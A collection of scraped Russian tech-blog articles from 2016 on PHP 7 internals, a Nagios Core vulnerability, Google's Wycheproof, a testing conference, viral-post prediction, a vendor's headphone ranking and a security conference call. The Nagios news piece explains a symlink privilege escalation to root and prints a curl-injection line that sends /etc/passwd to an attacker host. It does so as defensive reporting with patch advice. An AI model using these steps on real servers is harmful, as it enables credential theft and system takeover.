переменных: $ar = [ 'foo', 42, 'bar', [1, 2, 3], 9.87 ]; Неизменяемые массивы были оптимизированы в PHP 7. В PHP 5 не делается разницы между массивами, содержащими динамические элементы ( $vars ), и статичными при компилировании. В PHP 7 же неизменяемые массивы не копируются, не дуплицируются, а остаются доступными только для чтения. Пример: for ($i = 0; $i < 1000; $i++) { $var[] = [ 0 => 'Symfony\\Bundle\\FrameworkBundle\\EventListener\\SessionListener', 1 => 'Symfony\\Component\\HttpFoundation\\Session\\Storage\\NativeSessionStorage', /* ... go to many immutable items here */ ]; } Этот код тысячу раз создаёт один и тот же массив (обрезанный, его можно представить в виде массива из сотни или тысячи ячеек). В PHP 5 такой массив дуплицируется в памяти тысячу раз. Если он весит несколько сотен килобайт или даже мегабайты, то при тысячекратном дублировании мы займём большой объём памяти. В PHP 7 OPCache помечает эти массивы как неизменяемые. Массив создаётся единожды, а где необходимо, используется указатель на его память, что приводит к огромной экономии памяти, особенно если массив велик, как в приведённом примере (взято из фреймворка Symfony 3). Посмотрим, как меняется производительность: Снова огромная разница между PHP 5 и PHP 7. PHP 5 нужно создавать массив 1000 раз, что занимает 27 Мб памяти. В PHP 7 с OPCache задействуется всего 36 Кб! Если вам удобно использовать неизменяемые массивы, то не стесняйтесь. Только не надо нарушать неизменяемость, выдавая подобный код: $a = 'value'; /* Не делайте так */ $ar = ['foo', 'bar', 42, $a]; /* Лучше так: */ $ar = ['foo', 'bar', 42, 'value']; Прочие соображения Мы рассмотрели несколько внутренних хитростей, объясняющих, почему PHP 7 работает куда быстрее PHP 5. Но для многих рабочих нагрузок это микрооптимизации. Чтобы получить от них заметный эффект, нужно использовать огромные объёмы данных или многочисленные циклы. Подобное чаще всего случается, когда в фоновом режиме вместо обработки HTTP-запросов запускаются рабочие PHP-процессы (workers). В таких случаях вы можете очень сильно уменьшить потребление ресурсов (процессора и памяти), всего лишь по-другому написав код. Но не верьте своим предчувствиям относительно возможных оптимизаций производительности. Не надо слепо патчить код, используйте профилировщики, чтобы подтвердить или опровергнуть свои гипотезы и проверить реальную производительность кода.
https://habrahabr.ru/company/mailru/blog/318008/
habrahabr
Уязвимость в системе мониторинга Nagios позволяет осуществлять повышение привилегий
['nagios', 'администрирование', 'уязвимости']
Исследователь информационной безопасности Дэвид Голунски (Dawid Golunski) обнаружил серьезную уязвимость в популярной системе мониторинга ИТ-инфраструктуры Nagios. Ее эксплуатация позволяет...
Исследователь информационной безопасности Дэвид Голунски (Dawid Golunski) обнаружил серьезную уязвимость в популярной системе мониторинга ИТ-инфраструктуры Nagios. Ее эксплуатация позволяет злоумышленнику добиться повышения привилегий в системе. В чем проблема Демон Nagios Core версий ниже 4.2.4 осуществляет небезопасные операции при обработке лог-файла. Это может привести к тому, что атакующий сможет повысить свои привилегии с системного пользователя ‘nagios’ в группе ‘nagios’ до root-пользователя. Это ведет к полной компрометации системы, на которой установлен софт для мониторинга инфраструктуры. Стандартная установка Nagios Core создает лог-директорию со следующими правами: drwxrwsr-x 5 nagios nagios Исследователь обнаружил, что демон Nagios при запуске системы сначала открывает лог-файл, а затем сбрасывает root-права: 8148 open("/usr/local/nagios/var/nagios.log", O_RDWR|O_CREAT|O_APPEND, 0666) = 4 8148 fcntl(4, F_SETFD, FD_CLOEXEC) = 0 8148 fchown(4, 1001, 1001) = 0 8148 getegid() = 0 8148 setgid(1001) = 0 8148 geteuid() = 0 [...] Это значит, что если атакующему удастся получить доступ к учетной записи ‘nagios’ или другой учетной записи из группы ‘nagios’, то он сможет заменить лог-файл симлинком на случайный файл в системе. Таким образом возможно повышение привилегий до root — например, с помощью специально созданного файла /etc/ld.so.preload file . По умолчанию он будет создан со следующими привилегиями nagios: -rw-r--r-- 1 nagios nagios 950 Dec 10 11:56 /etc/ld.so.preload Таким образом права на запись есть у пользователя nagios, но не у членов группы nagios. Однако существует способ получить и права на запись для членов этой группы — для этого злоумышленнику нужно эксплуатировать уязвимость CVE-2016-9565 и ошибку в работе модуля командной строки Nagios (nagios.cmd). Для того, чтобы новые привилегии вступили в силу, необходимо перезагрузить Nagios — и злоумышленник может также спровоцировать это действие. Для этого через командный интерфейс системы необходимо отправить команду SHUTDOWN_PROGRAM /usr/bin/printf "[%lu] SHUTDOWN_PROGRAM\n" `date +%s` > /usr/local/nagios/var/rw/nagios.cmd Дэвид Голунски также разработал PoC-эксплоит, позволяющий повысить привилегии в системе до суперпользователя. CVE-2016-9565 В версии Nagios 4.2.0 была исправлена уязвимость CVE-2008-4796 в компоненте MagpieRSS, позволяющая вставлять произвольные команды в качестве параметров к команде curl. Однако этот фикс остался уязвимым к использованию двойных кавычек — эта новая уязвимость получила номер CVE-2016-9565 и была окончательно исправлена только в версии 4.2.2. Эксплуатация уязвимости заключается в изменении внутренней переменной $URI в функции _httpsrequest уязвимой компоненты при запросе RSS-ленты локальным сервером Nagios Core. В разных версиях системы RSS лента может подгружаться автоматически при логине. Для проведения атаки, атакующий должен выдать себя за сервер www.nagios.org , например, используя техники DNS spoofing или ARP poisoning. Стоит заметить, что эта атака может приобрести огромные масштабы при компрометации этого домена в масштабах больших ISP DNS резолверов. Затем, после успешной компрометации, злоумышленник ждёт запроса RSS ленты и отвечает HTTP 302 Redirect, с полем Location, содержащим параметры для curl. Например, это может выглядеть так: Location: https://attackers-host/get-data.php -Fpasswd=@/etc/passwd Таким образом, злоумышленник может исполнить произвольные команды на локальном сервере Nagios, а затем, воспользоваться уязвимостью CVE-2016-9566 для повышения локальных привилегий. Важно заметить то, что среди параметров для curl упоминается аргумент “-k”, который отключает проверку SSL сертификата, что также облегчает задачу злоумышленника. Как защититься Исправления для уязвимостей CVE-2016-9565 и CVE-2016-9566 появились в версиях 4.2.2 и 4.2.4 соответственно, поэтому администраторам серверов Nagios настоятельно рекомендуется обновиться до последней версии Nagios. Эксперты Positive Technologies также разработали IDS сигнатуру для обнаружения попыток эксплуатации уязвимостей CVE-2008-4796 и CVE-2016-9565, доступную публично на GitHub и Twitter: #Nagios Core Curl Command Injection / #RCE CVE-2016-9565 Affected: < 4.2.2 #Suricata rules: https://t.co/vkidBDy3cN — Attack Detection (@AttackDetection) 20 декабря 2016 г.
https://habrahabr.ru/company/pt/blog/318050/
habrahabr
Компания Google представила набор тестов Wycheproof
['криптография', 'защита', 'инструментарий', 'разработка', 'уязвимости', 'тестирование']
Вчера в официальном блоге компании Google, посвященному информационной безопасности, был представлен новый проект компании под названием Wycheproof. Мы рады объявить о запуске проекта...
Вчера в официальном блоге компании Google, посвященному информационной безопасности, был представлен новый проект компании под названием Wycheproof. Мы рады объявить о запуске проекта Wycheproof — наборе тестов безопасности, которые проверяют криптографические библиотеки ПО на известные уязвимости. Мы разработали более 80 тестов для разных случаев, благодаря которым обнаружили более 40 ошибок безопасности. Например, мы обнаружили, что могли бы восстановить private-key DSA и ECDHC . Также мы добавили готовые к использованию инструменты для проверки Java Cryptography Architectire, который предлагают, например, Bouncy Castle или OpenJDK . В блоге отмечается, что название проекта было выбрано не просто так. Wycheproof — самая маленькая гора в мире, что символизирует реалистичность и достижимость поставленной разработчиками задачи, с которой они успешно справились. К разработке проекта авторов побудило наблюдение, что open source-библиотеки часто имеют криптографические уязвимости, которые могут не выявляться годами. При этом они представляют серьезную угрозу безопасности. В итоге был создан продукт, который проверяет большинство алгоритмов, например RSA, AES и АСС. При этом авторы проекта заостряют внимание на том, что: «прохождение тестов не означает, что библиотека является безопасной. Это просто означает, что она не является уязвимой к атакам, на которые ее тестирует Wycheproof. Криптографы постоянно находят новые слабые места в протоколах шифрования». Разработка инженеров Google позволит их коллегам по всему миру проверять используемые библиотеки в автоматическом режиме. Это актуально и не только по причине удобства: для четкого понимая принципов шифрования при помощи тех или иных алгоритмов требуется огромная академическая база и годы на ее изучение и практику. Фактически, уязвимость в шифровании, не замеченную ранее, но опасную, могут обнаружить только высококлассные специалисты в данной узкой области. Исходя из анонса в блоге Google, Wycheproof продолжит свое развитие. Новые уязвимости находят постоянно и тесты по их поиску будут добавляться в набор инструментов. Также проект размещен в свободный доступ на Github. Проект Wycheproof на Github
https://habrahabr.ru/post/318060/
habrahabr
Гейзенбаг: Версия 1.0
['тестирование', 'конференция', 'Гейзенбаг', 'нагрузочное тестирование', 'тестирование игр', 'автоматизированное тестирование', 'ручное тестирование']
Может ли самый первый релиз продукта быть достаточно хорошо оттестированным, или кучу шишек неизбежно набьёшь уже в продакшене? Конференция по тестированию «Гейзенбаг», которую мы недавно...
Может ли самый первый релиз продукта быть достаточно хорошо оттестированным, или кучу шишек неизбежно набьёшь уже в продакшене? Конференция по тестированию «Гейзенбаг» , которую мы недавно провели в Москве, состоялась в самый первый раз, так что можно было на её наглядном примере и посмотреть. Как она прошла? Возникли ли проблемы? И как вообще должна выглядеть конференция по тестированию, если внутри него существуют подвиды с совершенно разной спецификой, а дело с ним имеют специалисты разного профиля? Утром 10 декабря в холле «Radisson-Славянской» можно было увидеть не только тестировщиков, но и разработчиков, которые не хотят просто «перекидывать код через стену», а ощущают значимость тестирования. В том же холле, помимо прочего, можно было поиграть в робохоккей — и поскольку в этой игре надо управлять жуками, она смотрелась на «Гейзенбаге» довольно символично. Или сыграть в #робохоккей на #heisenbugconf pic.twitter.com/3pfcxDXJO3 — Heisenbug (@HeisenbugConf) December 10, 2016 С открывающим кейноутом выступал Илари Хенрик Эгертер — обладатель такой бороды, что при её виде люди твитят «живьём она впечатляет втрое сильнее». Предупредив «я консультант и менеджер, так что сомневайтесь во всём сказанном мной», он начал высказывать мысли, которые действительно способны вызывать возражения. Например, что деление на ручное и автоматизированное тестирование надуманное, потому что «в обоих случаях важны не руки, а мозг». И что TDD вообще не может считаться полноценным тестированием, «потому что закон необходимого разнообразия требует от контролирующей системы большего разнообразия, чем от контролируемой». Призвав «не пытаться автоматизировать вообще всё», Илари сопроводил это наглядным экспериментом, протестировав тестировщиков. Он предложил совместно составить список критериев для тестирования «2+2» на калькуляторе. Из зала назвали много того, на что стоит обратить внимание — например, промежутки между нажатиями. Когда варианты иссякли, Илари продолжил: «Хорошо, вы подумали об условиях, при которых устройство может не выполнить нужное действие. Но что, если оно выполнит не только его? Что, если помимо четвёрки, оно выведет на экран ещё что-то? Если мы посмотрим на экран, то заметим неладное сразу же. А вот составить полные критерии для автоматизированного определения всего подобного затруднительно, много unknown unknowns ». Закончил речь он не менее решительно: словами «не считайте себя носителями истины, поддерживайте уровень сомнений внутри себя». Дэн Куайяр , разрабатывающий Appium, недавно рассказывал нам в интервью о своём детище и о мобильном тестировании в целом. Доклад был о том же, но куда детальнее: «На iOS тестированию может мешать вылезающее предупреждение о “фишинговом сайте”, а смысла платить за сертификат только для тестирования нет. В таких случаях это предупреждение можно обойти с помощью safariIgnoreFraudWarning». Окончание доклада у него тоже получилось громким: «Верьте в себя. Я уверен, что можно сделать лучше, чем Appium. Если в SpaceX сажают ракету на баржу, это ещё не значит, что они что-то понимают!» Доклад Игоря khroliz Хрола (Toptal) об автоматических тестах был, пожалуй, самым наглядным: на громадном экране в реальном времени он демонстрировал написанный на Ruby код одних тестов за другими, прогонял их и фиксировал в отдельной таблице производительность. Каждый следующий тест оказывался производительнее предыдущего, делая графу «сколько таких тестов можно прогнать за пять минут» всё более впечатляющей. Тем временем Владимир vladimirsitnikov Ситников (Netcracker) разбирал тонкости нагрузочного тестирования на примере отличного известного ему инструмента JMeter. Например, если «запросы раз в минуту» оказываются строго в начале минуты, ничего хорошего в этом нет, картина получается непоказательной. С другой стороны, если просто взять и рандомизировать время, то непонятно, как потом корректно сравнивать замеры друг с другом — их условия заведомо отличаются. К тому же, если установлена частота «100 запросов в час» и тест проводится полчаса, хочется, чтобы это означало «50 за полчаса», а рандом такого не обещает. Что делать со всей этой сложной ситуацией? По мнению Владимира, создавать свой правильный велосипед — и он поступил именно так, написав таймер для JMeter. Этот таймер выдаёт пуассоновское распределение, отталкиваясь от random seed (так что можно повторить те же самые случайные задержки), и при этом обладает параметром test duration, позволяющем получить «ровные полчаса». Темы, затронутые Ситниковым, в следующем слоте оказались развиты в двух разных залах сразу: пока Алексей Рагозин (Deutsche Bank) говорил о нагрузочном тестировании, Станислав Башкирцев (EPAM) тоже обратился к рандомизации, но в другом контексте. Он предлагает использовать Random Ext (для JavaScript) или написанную им библиотеку Datagen (для Java), чтобы получать рандомизированные данные для тестирования. Почему это имеет значение? Станислав в качестве примера показал жалобу пользователя JIRA на ошибку при попытке вставить в поле текста эмодзи: без рандомизации такой сценарий может вообще не прийти в голову, а пользователям, как выясняется, он бывает нужен. Концовка доклада получилась запоминающейся и в этом случае — там был список «зачем рандомизировать? 5 ”У”», и пятое «У» сразу врезалось в память: Улучшает покрытие Уменьшает количество необходимых тестов Упрощает код (подготовка ненужных данных) Упрощает разработку в общем (утилитарные задачи) Убучает инструментам, инфраструктуре (юникод) Резко отличался от других доклад Филиппа Кекса : он заговорил о такой экстремальной теме, как автоматизация тестирования игр (о которой ранее писал блог-пост ), и призвал не бояться создавать для этого собственные инструменты. В процессе Кекс наглядно показал с помощью лайвкодинга, как в Creative Mobile тестируют свой мобильный дрег-рейсинг NitroNation (больше 10 миллионов установок в Google Play). А заодно продемонстрировал фотографию сервера Cthulhu, запускающего сборки на целом ряде подключенных мобильных устройств — своё название сервер получил из-за того, как всё это вместе выглядит. Всё это настолько впечатлило аудиторию, что чуть ли не первым вопросом из зала после доклада оказался «Есть ли у вас вакансии». Jan Jaap Cannegieter начал выступление со слов «вам сложно правильно произнести моё имя, но ничего страшного, мне ваши тоже сложно» (поэтому мы на всякий случай оставим его латиницей). В отличие от Илари, он не предлагал упразднить деление на ручное и автоматизированное тестирование, но при этом соглашался с тем, что главным используемым инструментом оказывается мозг. И для демонстрации этого принялся на сцене тестировать сайт самого «Гейзенбага»: «Возьмём Website Crawler Tool и проанализируем им сайт. Он сообщает о ряде ошибок — но теперь нужен человек, чтобы разобраться, где ошибки на самом деле. Перейдём по этой ссылке — с ней вроде бы всё в порядке, хоть я и не понимаю, что это. А вот тут настоящая 404-я. Ура, я нашёл ошибку!» В общем, полезно устраивать конференции по тестированию: заодно спикеры тебе всё сами оттестируют. И, наконец, закрывающий кейноут был у Рекса Блэка — настолько значимой фигуры в мире тестирования, что на конференции некоторые делали с ним селфи . «Я из Техаса — возможно, вы ожидали, что буду в ковбойской шляпе? У нас есть выражение “all hat and no cattle” про тех, кто одевается как ковбой, не будучи им. Я не хочу быть all hat and no cattle, так что шляпу не ношу». В его кейноуте о том, как избегать ошибок в использовании метрик, был интересный пример с Hawthorne effect : порой сам факт измерения чего-то сказывается на измеряемом, мешая получить правильное представление о ситуации. Это любопытно перекликалось с названием конференции: «гейзенбагом» называют баг, исчезающий или меняющий свойства при попытке его обнаружения. В ходе того же закрывающего кейноута некоторое время прерывалась онлайн-трансляция, так что конференция о борьбе с багами не обошлась без небольшого собственного «бага». Однако это стало самой серьёзной проблемой за весь день — помог опыт проведения конференций про другим тематикам. Получается, что есть ситуация, когда с первого раза вполне можно обойтись без масштабных проблем: в том случае, если уже набил руку на похожем. Вопрос «какой должна быть конференция о таком разностороннем явлении, как тестирование» тоже нашёл свой логичный ответ: она тоже должна быть разносторонней. Доклады о нюансах конкретного продукта и доклады о всей деятельности в целом, доклад о распределённых системах на опыте Яндекса и доклад об играх на опыте популярнейшего приложения, доклады с кодом и доклады с общими рассуждениями — и в итоге, судя по фидбэку , пользу для себя смогли извлечь как тестировщики, так и разработчики. По итогам конференции у подкаста Radio QA вышел выпуск о Heisenbug с участниками программного комитета. А топ-5 докладов конференции по оценкам зрителей оказался таким: Филипп Кекс (Creative Mobile) — Как научить роботов играть в игры? Александр Баяндин (Badoo) — ChromeDriver Jailbreak Дэн Куайяр (Appium) — Appium: Automation for Apps Станислав Башкирцев (EPAM) — Рандомизированное тестирование Владимир Ситников (Netcracker) — Подводные камни в нагрузочном тестировании
https://habrahabr.ru/company/jugru/blog/317938/
habrahabr
Вычисляем контент, который в будущем станет вирусным
['социальные сети', 'анализ данных']
В данной статье будет описан только общий алгоритм на примере Facebook. Однако такой же подход можно использовать повсюду. Задача На основе существующего контента (за последние 30 дней) на...
В данной статье будет описан только общий алгоритм на примере Facebook. Однако такой же подход можно использовать повсюду. Задача На основе существующего контента (за последние 30 дней) на данной странице Facebook определить какие записи потенциально будут более популярными. Теория Первый, и пожалуй ключевой вопрос с которым я столкнулся — «Что такое популярность поста и как её расчитать?» . Обычно, под популярностью записи в соц.сети подразумевают количество лайков под ней. Но наш случай не обычный. Если просто опираться на количество лайков, то мы не сможем определить потенциально популярную запись до того, как она фактически станет таковой. Иногда используют соотношение лайков/время публикации. Таким образом можно вичислить прирост лайков за секунду. И где прирост больше, то и будет наш результат. От части такой подход правильный, но только от части. Дело в том что прирост лайков у записай не линейный. И чем дольше пост опубликован тем менее его лайкают. И нам нужно учитывать этот спад активности. Формула для расчета получается следующая: R = likes / (time^β) Где β — наш коэффициент затухания. Его можно вычислить по формуле: β = 1 / τ Где τ — время в течении которого прирост лайков уменьшился в e раз. Реализация Нам понадобится: NodeJs, который будет каждый час загружать информацию об постах за последние 30 дней База данных, в которой будут храниться состояния записей предыдущего цикла Алгоритм следующий: Загружаем записи из Facebook. Для каждой записи нам нужно: ID Время публикации Количество лайков Прирост лайков за час (этот параметр будем вычислять и дописывать сами) Найти и загрузить из БД состояние каждой записи, которое было сохранено во время предыдущего цикла (час назад) Вычисляем коэффициент спада индивидуально для каждой записи: Сравнив количество лайков текущего и предыдущего цикла, вычисляем прирост лайков за текущий час (ΔL) Теперь, когда у нас есть прирост лайков за текущий (ΔL) и предыдущий интервал (ΔpL) мы можем вычислить спад активности для текущей записи. Сделать это можно по формуле: βp = 1 / ( (ΔpL - (ΔpL/e)) / ((ΔpL-ΔL)/time) ) Где time — количество секунд между запросами Вычисляем средний коэффициент спада (β) для всей страницы Вычисляем рейтинг для каждой записи по формуле R = likes / (time^β) Вычисляем средний рейтинг для всей страницы Выбираем записи, чей индивидуальный рейтинг превышает среднее значение для страницы в 2 (или больше) раза. Сохраняем все записи в БД для следующей итерации. Не забудьте добавить поле со значением ΔL Используя такой подход мы можем определить те записи, которые с наибольшей вероятностью в будущем будут вызывать больше интереса. При расчетах мы берём во внимание как дату публикации записи так и активность аудитории, что позволяет получить наиболее точные результаты.
https://habrahabr.ru/post/318056/
habrahabr
Итоги года: лучшие беспроводные наушники 2016
['наушники', 'madrobots', 'рейтинги', '2016', 'спорт']
Беспроводных наушников сейчас довольно много, и это логично. Дело в том, что устройства такого типа очень удобны — их можно использовать и для прослушивания музыки, равно, как и для разговоров...
Беспроводных наушников сейчас довольно много, и это логично. Дело в том, что устройства такого типа очень удобны — их можно использовать и для прослушивания музыки, равно, как и для разговоров по телефону, в качестве hands free. Команда Madrobots состоит из техногиков, поэтому мы стараемся пробовать все новинки, которые попадают к нам в руки. Понятно, что все модели, которые есть на рынке, мы протестировать не в состоянии, но хорошо уже то, что мы можем проверять в работе все то, что продаем. И сейчас мы предлагаем итоговый рейтинг разных моделей, составленный как раз на основе тестирования нами беспроводных наушников и анализа их работы. Понятно, что этот рейтинг субъективен, но при его составлении мы постарались учесть большое количество факторов. Motorola VERVE LOOP+ Общая оценка: 9.5 Motorola VERVE LOOP+ способны работать дольше других. С их помощью музыку можно слушать 12 часов подряд без подзарядки. При этом наушники синхронизируются с любыми гаджетами по Bluetooth, работая в радиусе 50 метров. Есть здесь и встроенный микрофон, который позволяет использовать наушники в качестве беспроводной гарнитуры. Пульт управления наушниками находится под правым наушником, использовать его можно без всяких проблем. VERVE LOOP+ Motorola защищены от внешних факторов по стандарту IP57. На наш взгляд, это одни из наиболее функциональных наушников из всей подборки. Характеристики Вес: 15 г Размер: 15 х 27 х 560 мм Тип: внутриканальные Подключение: беспроводное Звук: технология AptX, HD качество Интерфейс подключения: Bluetooth 4.1 Профили Bluetooth: A2DP 1.3, Hands Free (HFP) 1.7, AVRCP 1.6, HSP 1.2, Generic Audio Visual Distribution Profile, (GAVDP) 1.3 Радиус действия: до 50 м Питание: через порт micro-USB Время работы на 1 заряде: 12 часов В режиме ожидания: 20 дней Влагозащита: стандарт IP57 Вес упаковки: 20 г Размер упаковки: 20 х 30 х 300 мм Купить наушники вы можете в магазине Madrobots . Aftershokz Trekz Titanium Общая оценка: 8.3 Это высокотехнологичные наушники с технологией костной проводимости звука. Aftershokz Trekz Titanium позволяют слушать музыку или разговаривать по телефону оставаясь при этом способным слышать окружающие звуки: шум проезжающих автомобилей, разговор людей, находящихся рядом и т.п. Музыку наушники воспроизводят очень чисто. Звук, который передают наушники, окружающие не услышат, поскольку акустические волны направляются прямо во внутреннее ухо. Устройство такого типа идеально подходит для велосипедистов и бегунов, которым по нраву тренироваться на дороге, по которой катаются автомобили. С такими наушниками можно слышать все вокруг, включая звук приближающегося автомобиля. Они очень хорошо держатся на голове. При этом гаджет защищен от воды по стандарту IP55. Характеристики Материал корпуса: титан Защита: сертификат IP55 (пото-, пыле- и водонепроницаемость Тип наушников: беспроводные Тип динамиков: преобразователи костной проводимости звука Режим звука: стерео Диапазон: 20 Гц – 20 кГц Максимальное звуковое давление: 100 дБ Встроенный микрофон: есть Чувствительность микрофона: 41 дБ Тип подключения: Bluetooth 4.0 Поддерживаемые профили: Advanced Audio Distribution Profile (A2DP); Audio/Video Remote Control Profile (AVRCP); Headset Profile (HSP); Hands-Free Profile (HFP) Радиус действия: 10 м Аккумулятор: литий-ионный Время работы: до 6 часов в режиме непрерывного использования Время зарядки: 1.5 часа Вес: 36 г Совместимость: любое устройство, поддерживающее Bluetooth 4.0 В России Aftershokz Trekz Titanium продаются в нашем магазине . JBL Synchros Reflect BT Sport Общая оценка: 8.5 Практически идеальные наушники для спорта, JBL Synchros Reflect BT Sport обеспечивают качественное воспроизведение музыки и возможность разговора по телефону. На голове они держатся плотно, так что можно не опасаться, что они спадут. Дождь или пот не повредят устройству — влаги можно не бояться. Плюс ко всему, это устройство обеспечивает отличное качество воспроизводимого звука. А чтобы не потерять их, можно воспользоваться магнитными свойствами JBL Synchros Reflect BT Sport — достаточно просто соединить чашечки, и сформировать некое подобие ожерелья. Работать наушники могут пять часов без подзарядки. Здесь есть и микрофон, позволяющий использовать JBL Synchros Reflect BT Sport в качестве hands free. Характеристики Вид наушников: вкладыши, вакуумные Звукоизлучатели: динамические; 8,5 мм Чувствительность: 107 дБ Импенданс: 16 Ом Микрофон: встроен в корпус Регулятор громкости: есть Кнопка ответа: есть Диапазон воспроизводимых частот: 10–22000 Гц Подключение: Bluetooth 4.0; проводное (3,5 мм) Аккумулятор: литий-ионный, 85 мА·ч Время автономной работы в режиме проигрывания: до 5 часов Зарядка: microUSB (до 3-х часов) Вес: 16 г Приобрести можно в каталоге Madrobots . Denon AH-W150 Общая оценка: 8.7 Разработчики этих наушников позиционируют их, как спортивные внутриканальные наушники. Они совмещают в себе качественный звук, удобство использования и отличный дизайн. Плюс ко всему, наушники влагостойкие, так что их можно использовать для любого вида спорта. Чувствительность наушников — 100 дБ, а частотный диапазон — от 5 до 25000 Гц. Они разработаны специально для занятий различными видами спорта. Удобное шейное крепление и комфортные насадки позволят без проблем работать с ними любому пользователю. Воздушные подушки по бокам обеспечивают практически идеальную вентиляцию. Конечно, есть здесь и микрофон, который позволяет поговорить по телефону. Кнопки управления обеспечивают возможность управления не только музыкой, но и телефонными вызовами. С их помощью можно принять, сбросить вызов или же набрать последний номер. Характеристики Bluetooth: 3.0 Чувствительность: 100 дБ Частотный диапазон: 5-25000 Гц Разъем для подзарядки наушников: USB Шумоподавление: Пассивное Тип подключения: Беспроводное Микрофон: Есть Крепление: с заушиной Амбушюры в комплекте: 4 пары Размер упаковки: 5,08 см x 5,08 см x 2,54 см Вес: 31 г Купить Denon AH-W150 в России можно у нас . Monster iSport Bluetooth Wireless In-Ear Headphones Общая оценка: 8.2 Это наушники, которые обеспечивают очень качественное звучание. Насыщенные басы, широкий динамический диапазон — все это Monster iSport Bluetooth Wireless In-Ear Headphones. Здесь есть и встроенный микрофон. В целом, разработчики говорят о своих наушниках, как о системе, которая разработана специально для занятий спортом. Время работы в автономном режиме составляет вплоть до 5 часов. Наушники прилегают к голове таким образом, что просто не могут спасть во время занятий спортом. Их можно поместить под шлем, маску, очки или шапку. На оголовье наушников есть пульт управления, позволяющий настраивать громкость или переключаться с музыки на звонок всего одним касанием руки. Характеристики Производитель: Monster Тип конструкции: вкладыши Назначение: для спорта Тип подключения: беспроводные Тип излучателя: динамический Акустическое оформление: закрытые Тип крепления: крепление в ушах Активное шумоподавление: нет Наличие микрофона: есть Регулятор громкости: есть Модели поддерживаемых телефонов: со всеми устройствами, поддерживающими Bluetooth Тип кабеля: нет Дополнительно: ControlTalk Li-Ion аккумулятор: 5 ч Вес: 28 г Где можно купить эти наушники? Ну, вы, наверное, уже догадались — у нас в Madrobots , конечно же. Headphone Bragi Общая оценка: 9.0 Компания Bragi долгое время обещала выпустить новинку, и таки сделала это. Как оказалось, новые наушники — это упрощенная версия старых, без сенсорной панели, без ряда фитнес и других функций. Фитнес-сенсоров здесь просто нет. Это позволило увеличить время прослушивания музыки, но, в то же время, разочаровало ряд пользователей. Работать с ними можно и в качестве беспроводной гарнитуры. В целом, это отличные наушники по демократичной цене. Многие пользователи ждали от них большего, но и то, что есть, вполне подходит для ежедневного использования. Спорт, отдых, туризм, деловая активность — эти наушники универсальны, использовать их можно везде и всюду. Характеристики Размер: S, M, L Частота: 20 – 20.000Hz Поддержка Bluetooth 4.0: есть Совместимые устройства: все с поддержкой Bluetooth A2DP Встроенный микрофон: есть Режим Audio Transparency: функция подавление внешних шумов Аккумулятор: полимер-литий 100 мАч Время работы на одном заряде: 6 часов Режим ожидания: 250 часов Время зарядки: 2 часа Процессор: 32 Бит ARM У нас пока этих наушников в наличии нет, но можно оформить предзаказ . Итоговая оценка всех наушников из подборки: В целом, наушники, перечисленные выше, очень разные по характеристикам и особенно по способу ношения. Предпочтения у пользователей таких устройств могут сильно различаться, поэтому мы постарались указать наушники разного форм-фактора, чтобы было, из чего выбрать. Общее у всех этих систем одно: они беспроводные и предназначены для спортсменов или просто людей, которые ведут активный образ жизни. Кстати, у себя в блоге мы опубликовали еще несколько рейтингов, составленных по тому же принципу. Это, например, лучшие мини-дроны . Среди этих аппаратов много систем, которые могут послужить отличным подарком на Новый Год. Напоминаем, что для всех наших читателей действует промо-код GEEK, дающий 5 процентов скидки на любой товар из магазина Madrobots . Вы можете передавать этот код своим друзьям, знакомым и родственникам — такое только приветствуется!
https://geektimes.ru/company/madrobots/blog/283870/
habrahabr
Враг внутри: приглашаем хакеров и докладчиков на PHDays VII
['phdays', 'positive hack days']
23 и 24 мая 2017 года в московском Центре международной торговли состоится международный форум по практической безопасности Positive Hack Days. Тема седьмой конференции — Противостояние:...
23 и 24 мая 2017 года в московском Центре международной торговли состоится международный форум по практической безопасности Positive Hack Days . Тема седьмой конференции — Противостояние: Враг внутри. Пока футурологи пугали нас Большим Братом и боевыми Терминаторами, нашими противниками неожиданно стало множество цифровых устройств: автомобили и детские игрушки, платежные терминалы и сенсоры «умного» дома, и даже камеры наблюдения, обещавшие улучшить нашу безопасность. Теперь это оружие хакеров. Как бороться с врагом, когда линия фронта размыта и атаковать нас может даже кофеварка? В прошлом году мы предложили участникам PHDays новый формат хакерских соревнований — Противостояние, результатом которого стали взлом ГЭС и затопление города . Мы решили продолжить намеченный курс и подойти ещё ближе к суровой реальности. Битва выходит в город, в котором бум Интернета вещей. Теперь мишенью для пентестеров могут стать городская инфраструктура и «умные» гаджеты разных размеров и назначений, а жертвами социальной инженерии окажутся не только участники команд, но и обычные посетители PHDays VII. Увеличится количество объектов для захвата/защиты, появятся сценарии день/ночь и социнженерия, и не будет никаких флагов. В этом году основные роли останутся теми же — хакеры, защитники и SOC. Однако список участников Противостояния может расшириться профессиональными пентестерами. Остальная часть конкурсной программы также будет основана на инфраструктуре города: участники смогут попробовать себя во взломе АСУ ТП, телеком-оператора, банка, Интернета вещей и сетевого оборудования. Игровая битва не помешает участникам конференции посетить множество интересных докладов, мастер-классов, а также обсудить самые актуальные вопросы информационной безопасности с ведущими специалистами отрасли. В этом году мы планируем большое внимание уделить инновациям в области взломов и методов практической безопасности. Нам интересны: защита и нападение, взлом «умных» устройств и атаки в социальных сетях, преодоление физических методов защиты и психологические аспекты социальной инженерии. Подробнее читайте на странице Call for Papers . Если вы хотите выступить с докладом — отправьте заявку через онлайн-форму . Первый этап Call for Papers продлится до 30 января. Также приглашаем студентов, аспирантов и независимых молодых ученых участвовать в секции PHDays VII Young School. В этом году помимо научного трека, появились сессия пятиминутных выступлений Spring Hack Tricks и конкурс аналитических статей. Для участия отправьте заявку по адресу  youngschool@phdays.com . Подробнее о правилах и формате заявки читайте на странице Young School . Ждем заявки до 15 января на участие в аналитическом исследовании, до 1 апреля в научном треке Young School, до 15 апреля на секцию Spring Hack Tricks. Кстати, уже можно купить билеты на PHDays VII . Успейте, пока действует скидка: до 30 декабря билеты на два дня форума стоят 7337 рублей. Уже с 31 декабря билет на два дня форума будет стоить 9600 рублей, а на один день — 7337 рублей.
https://habrahabr.ru/company/pt/blog/318070/
habrahabr
Публикация десктоп-приложения в Windows Store c помощью Desktop Application Converter
['windows store', 'desktop application converter']
Не так давно мы опубликовали разработанное нами корпоративное приложение для десктопов, которое дополняет функционал Skype for Business. Например, может «по-человечески» сохранять историю...
